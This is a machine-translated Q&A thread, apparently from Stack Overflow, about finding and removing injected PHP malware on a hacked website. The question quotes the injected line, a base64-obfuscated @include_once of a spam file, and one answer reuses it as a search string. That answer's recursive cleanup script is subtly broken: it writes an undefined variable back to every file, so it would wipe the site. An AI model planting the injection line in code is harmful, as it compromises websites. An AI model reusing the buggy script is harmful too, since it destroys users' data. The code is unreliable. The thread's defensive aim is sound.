2011-05-11 47 views
1

好吧,我很新的PHP,但我知道它可以读取directorys和文件。代码来搜索目录和子目录中的任何文件的具体代码

我已经与恶意软件的问题在我们网站上的一个挣扎,我需要写一个脚本来寻找它在我的主机空间。

黑客在文件把代码

*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>

我不知道这是什么东西,但谷歌块我的网站时,此显示出来。

我要下载的所有文件,然后搜索它在Dreamweaver取代这个垃圾带的空间,把它放回去。

我需要一个脚本来检测这之前谷歌做。

如果任何人可以给我一些指点这将是伟大

我相信这是每个​​人都将现在或以后面对的一个问题。

+0

在一个单独的文件上echo基地解码$ DUOIEK,看看他们试着做什么 – Ibu 2011-05-11 08:40:57

+0

[如何在Dreamweaver中使用搜索和替换](http://webdesign.about.com/od/dreamweaverhowtos/ht/dw_find_replace。 htm) – Gordon 2011-05-11 08:42:42

+0

一个建议...尝试确保这再也不会发生,并且我也遇到了这个恶意软件..这是由于我正在使用的FTP客户端(cuteFTP)。我在那里保存了密码。无论何时我连接到服务器,它都会在所有index.php文件中添加这段代码。所以改变你的密码,并清理你的系统。 – 2011-05-11 09:31:49

回答

0

下载所有你的FTP和运行发现&替换为一个完整的目录(Dreamweaver支持完整的目录)。我曾经遇到过这个问题,你可能想在你的代码中寻找JavaScript hack,他们也倾向于使用javascript。

这个破解代码试图包含这个文件:

/home/users/web/b1643/sl.thechess/public_html/MedcourtBackupoct2007/MedcourtBackupoct2007-2/b2b customer/Bubblepost Back up/public_html/Backups/Mediasuface 2005/Help and documentation/java api/JavaAPI/com/mediasurface/datatypes/searching/class-use/tsdeo.php 

这是什么?我不知道,但这就是它想要做的。所以你可能会认为这是从我认为托管的服务器内部完成的。

+0

是的,我转换了基本代码,发现这个文件打开了一个重定向列表,就像一个spamed搜索页面。我正在删除整个medcourtBackupoct文件,然后尝试上面的脚本。我已经完成了它的下载并以至少3倍的速度替换了它的5 GB主机,我必须清理它在一个月内回来的所有内容。这个文件可能是它的原因。该文件夹中还有2个文件。谢谢 – mindmyweb 2011-05-13 04:07:15

0

如果你有,你可以使用如下命令this SSH访问只需更换“的eval(BASE64_DECODE”与“BASE64_DECODE”。

如果没有,你会想编写一个脚本,通过所有的做一个递归循环您与readdir然后文件使用一些魔法strpos检测“BASE64_DECODE”。

如果你真的有问题,我会建议一个第三方服务一样sucuri

祝你好运!

+0

是的,这让我走上了正轨。我试图安装第三方服务,如网站锁定,但这是rediculus他们要求20美元清理1个文件。只有真正愚蠢的人才会付出那么多。 – mindmyweb 2011-05-13 04:12:02

1

纯PHP解决方案,可以找到并替换您提供的字符串。或者,您可以只获取已修改的文件。 注意:如果您使用此代码,有没有UNDO选项,您使用它的风险自负。

$dir = '/your_dir/'; 
$searchstring = '*/ $DUOIEK = base64_decode("L2hvbWUvdXNlcnMvd2ViL2IxNjQzL3NsLnRoZWNoZXNzL3B1YmxpY19odG1sL01lZGNvdXJ0QmFja3Vwb2N0MjAwNy9NZWRjb3VydEJhY2t1cG9jdDIwMDctMi9iMmIgY3VzdG9tZXIvQnViYmxlcG9zdCBCYWNrIHVwL3B1YmxpY19odG1sL0JhY2t1cHMvTWVkaWFzdWZhY2UgMjAwNS9IZWxwIGFuZCBkb2N1bWVudGF0aW9uL2phdmEgYXBpL0phdmFBUEkvY29tL21lZGlhc3VyZmFjZS9kYXRhdHlwZXMvc2VhcmNoaW5nL2NsYXNzLXVzZS90c2Rlby5waHA="); @include_once $DUOIEK;/* */?>' 

$iterator = new RecursiveDirectoryIterator($dir); 

foreach (new RecursiveIteratorIterator($iterator) as $filename => $cur) 
{ 
    // Search and replace 

    $contents = file_get_contents($filename); 
    $contents = str_replace($searchstring, ' ', $content); 
    file_put_contents($filename, $contents); 

    // Alternatively, you can do this (instead of search and replace) 

    if(strpos($contents, $searchstring) !== false) 
    { 
     $infected[] = $filename; // gives you an array that gives you paths to files that contain the injected code. 
    } 
} 

您可以从浏览器或命令行运行脚本。我并不是说这是最好的选择。

+1

添加一个撤销函数并不会那么困难;-)只需在替换全部内容之前用你得到的内容写一个filename.php.bck。 – 2011-05-13 07:39:25